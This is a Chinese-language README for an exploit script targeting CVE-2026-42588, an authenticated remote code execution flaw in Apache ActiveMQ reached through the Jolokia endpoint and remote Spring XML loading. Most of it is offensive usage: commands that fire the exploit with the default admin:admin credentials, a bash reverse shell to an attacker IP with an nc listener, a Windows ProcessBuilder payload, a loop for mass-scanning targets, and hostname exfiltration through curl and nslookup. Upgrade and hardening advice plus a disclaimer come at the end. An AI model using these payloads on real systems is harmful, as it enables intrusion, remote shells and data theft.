严重等级: 🔴 高危 (CVSS 4.0: 8.1)
漏洞类型: CWE-94 — 代码注入
影响版本: Apache ActiveMQ < 5.19.7 / 6.0.0 ≤ version < 6.2.6
利用前提: 需有 Web Console 认证凭据(默认admin:admin)
CVE-2026-42588 是一个存在于 Apache ActiveMQ 中的认证后远程代码执行(RCE)漏洞。
攻击者在拥有 Web Console 认证凭据的前提下,通过 () 调用 方法,传入精心构造的 discovery URI,利用 协议加载远程 ,最终在 ActiveMQ Broker 的 JVM 中执行任意系统命令。
/api/jolokia/BrokerService.addNetworkConnector(String)masterslave://xbean:/api/jolokia/ (Jolokia JMX-HTTP Bridge)
│
▼
BrokerService.addNetworkConnector(String)
│
▼
masterslave://?brokerConfig=xbean:http://attacker/malicious.xml
│
▼
XBeanBrokerFactory → ResourceXmlApplicationContext
│
▼
Spring 预实例化所有单例 Bean → 触发 Runtime.exec() / ProcessBuilder
│
▼
🚨 远程代码执行 (RCE)
| 环节 | 说明 |
|---|---|
| Jolokia 暴露面 | ActiveMQ Web Console 默认暴露 /api/jolokia/,允许对 org.apache.activemq:* MBean 执行 exec 操作 |
| 危险方法 | BrokerService.addNetworkConnector(String) 接收 discovery URI 并解析 |
| URI 触发链 | masterslave:// 协议的 brokerConfig 参数可控,配合 xbean: scheme 触发 Spring 上下文加载 |
| RCE 触发点 | XBeanBrokerFactory 使用 ResourceXmlApplicationContext 加载远程 XML,Spring 在配置验证之前就会实例化所有单例 Bean |
| 版本范围 | 状态 |
|---|---|
| Apache ActiveMQ < 5.19.7 | ❌ 受影响 |
| 6.0.0 ≤ Apache ActiveMQ < 6.2.6 | ❌ 受影响 |
| Apache ActiveMQ ≥ 5.19.7 | ✅ 已修复 |
| Apache ActiveMQ ≥ 6.2.6 | ✅ 已修复 |
/api/jolokia/ 接口可被攻击者访问(默认端口 8161)admin:admin).
├── CVE-2026-42588_EXP.py # 漏洞利用脚本(核心)
├── malicious.xml # 恶意 Spring XML 模板
├── requirements.txt # Python 依赖
└── README.md # 本文件
| 文件 | 用途 |
|---|---|
CVE-2026-42588_EXP.py | Python 漏洞利用脚本,支持检测模式 (--check-only) 和 XML 生成模式 (--gen-xml) |
malicious.xml | 恶意 Spring XML 配置模板,包含 Runtime.exec() 和 ProcessBuilder 两种利用方式 |
pip install -r requirements.txt
python CVE-2026-42588_EXP.py --gen-xml -c "touch /tmp/activemq_pwned" > malicious.xml
在攻击机上启动 HTTP 服务:
python3 -m http.server 8080
# 使用默认凭据 admin/admin
python CVE-2026-42588_EXP.py \
-u http://192.168.1.100:8161 \
-x http://your-attacker-ip:8080/malicious.xml
# 使用自定义凭据
python CVE-2026-42588_EXP.py \
-u http://target:8161 \
-U myuser \
-P mypass \
-x http://your-attacker-ip:8080/malicious.xml
python CVE-2026-42588_EXP.py -u http://192.168.1.100:8161 --check-only
usage: CVE-2026-42588_EXP.py [-h] [-u URL] [-U USERNAME] [-P PASSWORD]
[-x XML_URL] [--check-only] [--gen-xml]
[-c COMMAND] [--timeout TIMEOUT] [--no-verify]
选项:
-u, --url 目标 ActiveMQ URL (如 http://192.168.1.100:8161)
-U, --username Web Console 用户名 (默认: admin)
-P, --password Web Console 密码 (默认: admin)
-x, --xml-url 恶意 Spring XML 文件的远程 URL
--check-only 仅检测 Jolokia 接口是否可访问
--gen-xml 生成恶意 XML 文件并输出到 stdout
-c, --command 要在目标上执行的命令 (默认: touch /tmp/activemq_pwned)
--timeout HTTP 请求超时秒数 (默认: 30)
--no-verify 禁用 SSL 证书验证
1. 在攻击机上生成恶意 XML:
python CVE-2026-42588_EXP.py --gen-xml \
-c "/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'" \
> reverse_shell.xml
2. 托管 XML 并启动监听:
# 终端1:HTTP 服务
python3 -m http.server 8080
# 终端2:nc 监听
nc -lvnp 4444
3. 触发漏洞:
python CVE-2026-42588_EXP.py \
-u http://target:8161 \
-x http://10.0.0.1:8080/reverse_shell.xml
1. 生成 Windows 版恶意 XML:
修改 malicious.xml 中 ProcessBuilder 的命令为:
<bean class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>cmd.exe</value>
<value>/c</value>
<value>whoami > C:\windows\temp\pwned.txt</value>
</list>
</constructor-arg>
</bean>
2. 托管并执行:
python CVE-2026-42588_EXP.py \
-u http://windows-target:8161 \
-x http://attacker:8080/malicious_win.xml
# 批量检测
for ip in $(cat targets.txt); do
echo "=== Testing $ip ==="
python CVE-2026-42588_EXP.py -u "http://$ip:8161" --check-only --timeout 5
done
┌─────────────────────────────────────────────────────────────────────┐
│ CVE-2026-42588 攻击链 │
├─────────────────────────────────────────────────────────────────────┤
│ │
│ ① 攻击者 ⑤ ActiveMQ Broker (JVM) │
│ ┌──────────┐ ┌──────────────────────────┐ │
│ │ EXP脚本 │──── ② HTTP POST ───────▶│ /api/jolokia/ │ │
│ │ │ Jolokia exec() │ │ │
│ │ │ Basic Auth │ BrokerService. │ │
│ │ │ │ addNetworkConnector( │ │
│ │ │ │ "masterslave://? │ │
│ │ │ │ brokerConfig= │ │
│ │ │ │ xbean:http://... │ │
│ │ │ │ /malicious.xml" │ │
│ └──────────┘ │ ) │ │
│ │ └────────┬─────────────────┘ │
│ │ │ │
│ │ ③ HTTP GET ▼ │
│ │ ┌──────────────────────┐ ┌────────────────────────────┐ │
│ └─▶│ 攻击者 HTTP 服务器 │ │ ResourceXmlApplication │ │
│ │ (python http.server) │ │ Context 加载远程 XML │ │
│ │ │ │ │ │
│ │ malicious.xml │ │ Spring 预实例化 Bean ──▶ │ │
│ └──────────────────────┘ │ Runtime.exec() / │ │
│ │ ProcessBuilder.start() │ │
│ │ │ │ │
│ │ ▼ │ │
│ │ 🚨 RCE 成功 🚨 │ │
│ └────────────────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────────────┘
由于命令执行发生在 Spring XML 解析阶段,是异步的,HTTP 响应中可能不会直接体现执行结果。建议通过以下方式验证:
# 攻击机
nc -lvnp 4444
# 命令中使用 nslookup 或 curl 回传
nslookup $(hostname).your-dns-server.com
# 目标上检查标志文件
ls -la /tmp/activemq_pwned
# 在恶意 XML 中使用
curl http://your-server:8888/$(hostname)
# 同时在攻击机上监听
nc -lvnp 8888
| 版本线 | 升级至 |
|---|---|
| 5.x 系列 | 5.19.7 或更高 |
| 6.x 系列 | 6.2.6 或更高 |
如果暂时无法升级,可采取以下措施降低风险:
在 conf/jetty.xml 中限制 /api/jolokia/ 只能从本地访问,或通过防火墙/反向代理做 IP 白名单。
编辑 conf/jolokia-access.xml,禁止对 org.apache.activemq:* MBean 的 exec 操作:
<restrict>
<mbean>
<name>org.apache.activemq:*</name>
<operation>!exec</operation>
</mbean>
</restrict>
编辑 conf/jetty-realm.properties,将默认的 admin: admin, admin 修改为强密码。
在 conf/jetty.xml 中注释掉 Web Console 相关的 Context 配置。
A: 是的,需要 ActiveMQ Web Console 的有效凭据。但默认凭据为 admin/admin,实际环境中大量系统未修改默认密码,因此风险依然很高。
A: 这是正常的。命令执行是异步的,发生在 Spring XML 解析阶段。建议使用反弹 Shell、DNS 外带等方式验证。详见验证漏洞利用成功。
A: 支持。需要将 malicious.xml 中的命令从 /bin/sh -c 改为 cmd.exe /c,命令语法相应调整为 Windows 风格。
A: 检测模式只能确认 Jolokia 接口是否可访问(漏洞利用的必要条件)。接口可访问不代表一定可利用,但具备利用可能性。
A: 不能。升级到 5.19.7+ 或 6.2.6+ 后,brokerConfig 参数的解析逻辑已修复,不再接受 xbean: scheme。
⚠️ 本工具仅供安全研究和授权测试使用!
- 使用本工具进行未经授权的系统访问是违法行为
- 使用者须自行承担所有因使用本工具而产生的一切后果和责任
- 作者不对任何未经授权的使用、滥用或因此产生的损害负责
- 在您自己的系统或获得书面授权的系统上使用本工具
- 遵守当地法律法规和职业道德规范
| 来源 | 链接 |
|---|---|
| 漏洞数据库 (CVE Detail) | https://www.cybersecurity-help.cz/vdb/vulns/133395/ |
| 安天漏洞公告 | https://bbs.antiy.cn/thread-210844-1-1.html |
| DDPOC 漏洞详情 | https://ddpoc.com/DVB-2026-11290.html |
| Apache ActiveMQ 官方 | https://activemq.apache.org/ |
| Apache 安全公告 | https://lists.apache.org/thread/ns0zktfo16s9ql2mmtqtlb6p6xcs45xm |
CVE-2026-42588 — For Educational & Authorized Testing Purposes Only